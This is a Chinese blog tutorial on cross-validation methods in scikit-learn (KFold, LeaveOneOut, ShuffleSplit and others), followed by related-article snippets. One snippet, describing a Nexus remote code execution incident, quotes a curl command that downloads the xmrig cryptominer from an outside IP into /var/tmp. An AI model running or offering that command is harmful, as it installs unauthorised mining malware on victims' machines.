交叉验证(Cross Validation)用来验证分类器的性能一种统计分析方法,基本思想是把在某种意义下降原始数据(dataset)进行分组,一部分用来为训练集(train set),另一部分做为验证集(validation set)。利用训练集训练分类器,然后利用验证集验证模型,记录最后的分类准确率为此分类器的性能指标。
 
那么什么时候才需要交叉验证呢?交叉验证用在数据不是很充足的时候。比如在平时的项目中,对于普通适中问题,如果数据样本量小于一万条,则采用交叉验证来训练优化选择模型。如果样本大于一万条,一般随机把样本数据分成三份,一份为训练集,一份为验证集,最后一份为测试集。用训练集来训练模型,用验证集来评估模型预测的好坏和选择模型及其对应的参数。把最终得到的模型再用于测试集,最终决定使用哪个模型以及对应参数。
 
1.交叉验证的评价标准
cross_val_score
使用交叉验证最简单的方法是调用croos_val_score函数,下面例子演示怎样通过分割数据,拟合一个线性核支持向量机模型,计算5个连续次的分数,每次有不同的分割。
 
from sklearn.model_selection import cross_val_score
clf = svm.SVC(kernel='linear', C=1)
scores = cross_val_score(clf, iris.data, iris.target, cv=5)
 分数的平均值和95%的置信区间是
 
print("Accuracy: %0.2f (+/- %0.2f)" % (scores.mean(), scores.std() * 2))
cross_validate
允许指定多个评估指标;
除了测试分数之外,它还返回包含拟合时间、分数时间(以及可选的训练分数以及拟合估计值)的字典
cross_val_predict
交叉验证获得预测
 
cross_val_predict具有与cross_val_score的接口
 
适用于:
 
从不同模型获得的预测的可视化;
模型混合:当使用一个监督估计器的预测来训练集合方法中的另一个估计器时。
2.交叉验证迭代器
对于某些数据是独立同分布的,并且数据的生成过程相同,并且生成过程对过去的样本没有记忆,这样的样本可以用交叉验证器。虽然独立同分布是机器学习理论中的常见假设,但它在实践中很少应用。如果知道样本是使用时间依赖性过程生成的,那么使用时间序列感知交叉验证方案会更安全。同样,如果我们知道生成过程具有群组结构(来自不同主题的样本、实验)、测试设备使用分组交叉验证更安全。
 
KFold(K-折交叉验证)
将原始数据分成K组(一般均分),将每个子集数据分别做一次验证集,其余的K-1组子集数据作为训练集,这样得到K个模型,用这K个模型最终的验证集的分类准确率的平均数作为此交叉验证集下的分类器的性能值指标。K一般大于等于2,实际操作一般是从3开始取,只有在原始数据集合数据量小的时候才会尝试取2.KFold可以有效的避免过学习以及欠学习状态的发生,最后得到的结果比较具有说服力。
 
例子:
 
>>> import numpy as np
>>> from sklearn.model_selection import KFold
 
>>> X = ["a", "b", "c", "d"]
>>> kf = KFold(n_splits=2)
>>> for train, test in kf.split(X):
... print("%s %s" % (train, test))
[2 3] [0 1]
[0 1] [2 3]
RepeatedKFold
RepleatedKFold重复K-fold n次,当需要运行KFold n次时,可以使用它,在每次重复中产生不同的分裂。
 
例子(重复2次K-Fold的例子):
 
>>> import numpy as np
>>> from sklearn.model_selection import RepeatedKFold
>>> X = np.array([[1, 2], [3, 4], [1, 2], [3, 4]])
>>> random_state = 12883823
>>> rkf = RepeatedKFold(n_splits=2, n_repeats=2, random_state=random_state)
>>> for train, test in rkf.split(X):
... print("%s %s" % (train, test))
...
[2 3] [0 1]
[0 1] [2 3]
[0 2] [1 3]
[1 3] [0 2]
Leave One Out(LOO)
如果设原始数据有N个样本,即每个样本单独作为验证集,其余的N-1个样本作为训练集,所以LOO会得到N个模型,用这N个模型最终的验证集的分类准确率的平均数作为此下LOO分类器的性能指标。相比于KFold、LOO有两个明显的优点:
 
每一回合中几乎所有的样本皆用于训练模型,因此最接近原始样本的分布,这样评估所得的结果比较可靠;
实验过程中没有随机因素会影响实验数据,确保实验过程是可以被复制的;
LOO的缺点是计算成本高,因为需要建立的模型数量与原始数据样本数据相同,当原始数据样本数量相当多时,LOO在实作上便有困难几乎就是不显示,除非每次训练分类器得到模型的速度很快,或者可以用并行化计算减少计算所需的时间。
 
例子:
 
from sklearn.model_selection import LeaveOneOut
X = [1, 2, 3, 4]
loo = LeaveOneOut()
for train, test in loo.split(X):
print("%s %s" % (train, test))
Leave P Out(LPO)
LeavePOut 与 LeaveOneOut类似,它从完整的数据集里删除p个样本,产生所有可能的训练集和检验集。对于n个样本,能产生个训练-检验对。
 
例子:
 
from sklearn.model_selection import LeavePOut
X = np.ones(4)
lpo = LeavePOut(p=2)
for train, test in lpo.split(X):
print("%s %s" % (train, test))
随机置换 Shuffle & Split
shufflesplit迭代器将产生一个用户定义的独立训练/检验集,首先shuffle样本,然后分到训练集和检验集。通过设置伪随机数生成器random_state,控制随机性使结果可重复。
 
from sklearn.model_selection import ShuffleSplit
X = np.arange(10)
ss = ShuffleSplit(n_splits=5, test_size=0.25,
... random_state=0)
for train_index, test_index in ss.split(X):
... print("%s %s" % (train_index, test_index))
 
---------------------
作者:sunny_develop
来源:CSDN
原文:https://blog.csdn.net/guanyuqiu/article/details/86006474
版权声明:本文为博主原创文章,转载请附上博文链接!

ml交叉验证的更多相关文章

  1. ML:交叉验证Cross-Validation

    PRML中首章绪论的模型选择,提到两个方法: 1.交叉验证(Cross-Validation) 2.赤池信息准则(Akaike Information Criterion),简称:AIC. 交叉验证是 ...

  2. Spark2.0机器学习系列之2:基于Pipeline、交叉验证、ParamMap的模型选择和超参数调优

    Spark中的CrossValidation Spark中采用是k折交叉验证 (k-fold cross validation).举个例子,例如10折交叉验证(10-fold cross valida ...

  3. MATLAB曲面插值及交叉验证

    在离散数据的基础上补插连续函数,使得这条连续曲线通过全部给定的离散数据点.插值是离散函数逼近的重要方法,利用它可通过函数在有限个点处的取值状况,估算出函数在其他点处的近似值.曲面插值是对三维数据进行离 ...

  4. 交叉验证(Cross Validation)原理小结

    交叉验证是在机器学习建立模型和验证模型参数时常用的办法.交叉验证,顾名思义,就是重复的使用数据,把得到的样本数据进行切分,组合为不同的训练集和测试集,用训练集来训练模型,用测试集来评估模型预测的好坏. ...

  5. scikit-learn一般实例之一:绘制交叉验证预测

    本实例展示怎样使用cross_val_predict来可视化预测错误: # coding:utf-8 from pylab import * from sklearn import datasets ...

  6. oracle ebs应用产品安全性-交叉验证规则

    转自: http://blog.itpub.net/298600/viewspace-625138/ 定义: Oracle键弹性域可以根据自定义键弹性域时所定义的规则,执行段值组合的自动交叉验证.使用 ...

  7. SVM学习笔记(二):什么是交叉验证

    交叉验证:拟合的好,同时预测也要准确 我们以K折交叉验证(k-folded cross validation)来说明它的具体步骤.{A1,A2,A3,A4,A5,A6,A7,A8,A9} 为了简化,取 ...

  8. 交叉验证 Cross validation

    来源:CSDN: boat_lee 简单交叉验证 hold-out cross validation 从全部训练数据S中随机选择s个样例作为训练集training set,剩余的作为测试集testin ...

  9. k-折交叉验证(k-fold crossValidation)

    k-折交叉验证(k-fold crossValidation): 在机器学习中,将数据集A分为训练集(training set)B和测试集(test set)C,在样本量不充足的情况下,为了充分利用数 ...

随机推荐

  1. luogu3830 [SHOI2012]随机树

    传送门:洛谷 题目大意:对于一个只有一个节点的二叉树,一次操作随机将这棵树的叶节点的下方增加两个节点.$n-1$次操作后变为$n$个叶节点的二叉树.求:(1)叶节点平均深度的期望值(2)树深度的数学期 ...

  2. MAC OS X&Vmware

    推出共享文件恢复解决办法: 将/Volumes/VMware shared Folders 文件删除(此时这个文件中的内容为乱码) ,生成一个 VMware shared Folders文件夹,重新设 ...

  3. springboot中通过cors协议解决跨域问题

    1.对于前后端分离的项目来说,如果前端项目与后端项目部署在两个不同的域下,那么势必会引起跨域问题的出现. 针对跨域问题,我们可能第一个想到的解决方案就是jsonp,并且以前处理跨域问题我基本也是这么处 ...

  4. Sonatype Nexus Repository Manager版本3.14.2访问控制缺失及远程代码执行漏洞

    发现被执行的程序在xmrig在 /var/tmp/目录下 ,脚本文件内容为以下: curl -o /var/tmp/xmrig http://202.144.193.159/xmrig;curl -o ...

  5. python中 ImportError: No module XXX的解决办法

    python是通过过使用:sys.path来获取模块的路径的,返回的但是一个list 向python模块路径中加入自己的模块:sys.path.append(os.path.abspath('%s.. ...

  6. repo 获取各个库的tag代码或者分支代码

    关于mainfest.xml中的参数格式和说明,可以自己查阅,此处不详细写,我们知道project中的reversion可以指定分支,tag,commitid等,那么如何书写呢? 首先克隆mainfe ...

  7. 与数论的厮守02:整数的因子分解—Pollard_Rho

    学Pollard_Rho之前,你需要学会:Miller Rabin. 这是一个很高效的玄学算法,用来对大整数进行因数分解. 我们来分解n.若n是一个素数,那么就不需要分解了.所以我们还得能够判断一个数 ...

  8. Python记录9:函数4:名称空间作用域+闭包函数+装饰器

    ''' 一: 名称空间namespaces     名称空间就是存放名字与值绑定关系的内存空间 二: 名称空间分为三种     内置名称空间:         1. 特点: 存放是python解释器自 ...

  9. SpringMvc CharacterEncodingFilter 解析 encoding 参数并初始化参数

    SpringMvc CharacterEncodingFilter 解析 encoding 参数并初始化参数:

  10. JS的防抖与节流

    JS的防抖与节流在进行窗口的resize.scroll,输入框内容校验等操作时,如果事件处理函数调用的频率无限制,会加重浏览器的负担,导致用户体验非常糟糕.此时我们可以采用debounce(防抖)和t ...